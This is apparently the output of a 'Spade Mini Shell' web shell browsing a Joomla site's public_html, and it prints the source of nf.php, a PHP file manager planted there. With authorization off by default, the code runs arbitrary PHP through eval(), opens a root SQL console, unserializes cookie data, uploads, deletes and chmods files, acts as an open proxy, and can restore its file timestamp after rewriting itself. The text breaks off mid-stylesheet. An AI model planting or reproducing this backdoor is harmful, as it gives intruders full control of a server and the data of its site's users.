Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/joomla4/ |
| [Home] [System Details] [Kill Me] |
nf.php000064400000236704151153674020005700 0ustar00<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
